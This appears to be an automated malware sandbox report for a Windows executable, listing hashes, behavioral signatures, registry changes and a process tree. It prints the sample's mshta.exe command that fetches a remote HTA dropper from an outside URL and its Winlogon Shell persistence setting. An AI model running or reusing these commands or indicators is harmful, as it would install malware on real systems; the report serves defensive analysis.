Analysis
-
max time kernel
9s -
max time network
12s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
03/02/2024, 21:00
Behavioral task
behavioral1
Sample
8d557a73f900f33cf09ee75f9f69b0ba.exe
Resource
win7-20231215-en
windows7-x64
8 signatures
150 seconds
Behavioral task
behavioral2
Sample
8d557a73f900f33cf09ee75f9f69b0ba.exe
Resource
win10v2004-20231215-en
windows10-2004-x64
9 signatures
150 seconds
Errors
Reason
Machine shutdown
General
-
Target
8d557a73f900f33cf09ee75f9f69b0ba.exe
-
Size
621KB
-
MD5
8d557a73f900f33cf09ee75f9f69b0ba
-
SHA1
986e6e69aa0fa1e68128dee587b9bf3cf4c780c2
-
SHA256
6f3b2c835726e2cf4eda147bdafbe0764bbb7502dfdc53d55f2f3d9e65071d51
-
SHA512
8082c6811185c3634cd91e854bed91b772ca65082185fa6c99b63ed13891d4022c61c864e0dcd257c19f2d847f036b5cf9be2bd4a6ae66cdd632b7082e4b041e
-
SSDEEP
12288:DFrXoPDc6TR74di5m7bZH1E8ADzdNMdQRe+/hRmpg3PCLMUfB9K:5ToPQER7Qom/ZHeDbMdWiLvfBY
Score
10/10
Malware Config
Extracted
Language
hta
Source
URLs
hta.dropper
http://fyreport.com/inst.php?id=skytraf01
Signatures
-
Modifies WinLogon for persistence 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-768304381-2824894965-3840216961-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Roaming\\hotfix.exe" 8d557a73f900f33cf09ee75f9f69b0ba.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-768304381-2824894965-3840216961-1000\Control Panel\International\Geo\Nation 8d557a73f900f33cf09ee75f9f69b0ba.exe -
resource yara_rule behavioral2/memory/3468-0-0x0000000000400000-0x00000000006C3000-memory.dmp upx behavioral2/memory/3468-7-0x0000000000400000-0x00000000006C3000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies data under HKEY_USERS 15 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "69" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040" LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00 LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1" LogonUI.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeShutdownPrivilege 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 1152 LogonUI.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3468 wrote to memory of 4868 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 85 PID 3468 wrote to memory of 4868 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 85 PID 3468 wrote to memory of 4868 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 85 PID 3468 wrote to memory of 3968 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 86 PID 3468 wrote to memory of 3968 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 86 PID 3468 wrote to memory of 3968 3468 8d557a73f900f33cf09ee75f9f69b0ba.exe 86
Processes
-
C:\Users\Admin\AppData\Local\Temp\8d557a73f900f33cf09ee75f9f69b0ba.exe"C:\Users\Admin\AppData\Local\Temp\8d557a73f900f33cf09ee75f9f69b0ba.exe"1⤵
- Modifies WinLogon for persistence
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3468 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" http://fyreport.com/inst.php?id=skytraf012⤵PID:4868
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\scgdfgasfbh.bat" "2⤵PID:3968
-
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x4 /state0:0xa399c055 /state1:0x41c64e6d1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:1152
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
238B
MD563fafe65c5a7128b5d7cd1f9f81e5d1f
SHA104bef31fa83ea29b0660a18365806c163ac92747
SHA256f89e63c1d83afa4673b2de7bff83e073aee789958fbcc3397c121178198579d1
SHA5121d2115028c46a007a8bdd47a7d6a61cff2250c7946b76a928a362ed9a4ce15d73f34559396b42547d89a0681bdd8a794803258a24ee4b438f7d95b04ce0d9807